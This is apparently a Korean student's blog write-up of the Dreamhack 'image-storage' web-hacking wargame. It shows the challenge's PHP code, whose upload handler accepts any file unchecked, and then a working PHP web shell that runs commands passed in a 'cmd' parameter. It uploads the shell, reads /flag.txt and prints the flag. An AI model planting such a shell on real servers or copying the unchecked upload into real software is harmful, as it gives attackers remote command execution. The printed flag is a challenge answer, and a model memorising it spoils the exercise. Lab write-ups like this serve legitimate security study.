문제
https://dreamhack.io/wargame/challenges/38
문제코드
<!-- index.php -->
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<h2>Upload and Share Image !</h2>
</div>
</body>
</html>
<!-- list.php -->
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container"><ul>
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
</ul></div>
</body>
</html>
<!-- upload.php -->
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
코드 해석
엄... php 언어를 처음보긴 하는데, 대략적으로 html 언어랑 비슷한 거 같다.
아닌가?
아무튼 다 html 언어고 가장 중요한 부분은
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
이 부분인 것 같다.
서버로부터 POST 요청을 받게 될 시에 기능을 확인해보면
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
이 부분에서 에러 발생시 에러를 출력하는 거고,
파일이 존재할 시 이미 존재한다고 출력
나머지는 move_uploaded_file 로 임시 이름을 디렉터리 내부에다가 저장하는 것 같다. 그 이름들은
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
이 부분이고.
그러면 뭐... 넘어가자
풀이전략
이건 php 파일을 올려서 그걸로 취약점을 공략해야한다. 업로드할 파일에 대해 어떠한 검사도 하지 않기때문이다. 하지만 내가 php 파일을 짤 수 있는가? 아니다. 그래서 드림핵 그냥 풀이과정만 보았다.
//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 )
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
이 파일을 바탕화면에 만들어서 파일을 업로드 한다.
대충 명령어를 입력하는 칸이 나오고, 그게 명령어이면 실제 수행하는 코드이다.
hi.php 라는 파일을 생성하고, 그것을 이제 업로드하면
이러한 창이 뜨는데
list 로 가면 hi.php 가 있다. 저기를 들어가면
뭔가 입력하는 칸이 뜬다. 저기다가 ls / 를 입력해보면
루트 위치에 flag.txt 가 존재하는 것을 확인할 수 있다.
그럼 이제 cat /flag.txt 를 하면 플래그가 보일 것이다.
실행
cat /flag.txt 입력시
바로 플래그가 나왔다.
플래그는
DH{c29f44ea17b29d8b76001f32e8997bab}
이다.
에필로그
아 php 까지 공부해야할까? blind SQL Injection 때도 그렇고 파일을 직접 작성하지 않는 이상 풀지 못하는 게 몇 개 있어서;;;좀 빡세다. 그리고 이부분은 내가 HTML 코드도 알기만 하지 직접 짤 줄은 모른다..흑흑
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] web-ssrf (웹 해킹) (0) | 2024.01.16 |
---|---|
[드림핵/웹해킹] ServerSide: SSRF (0) | 2024.01.16 |
[드림핵/워게임] file-download-1 (웹해킹) (0) | 2024.01.15 |
[드림핵/웹해킹] ServerSide: File Vulnerability (0) | 2024.01.15 |
[드림핵/워게임] command-injection-1 (웹 해킹) (0) | 2024.01.15 |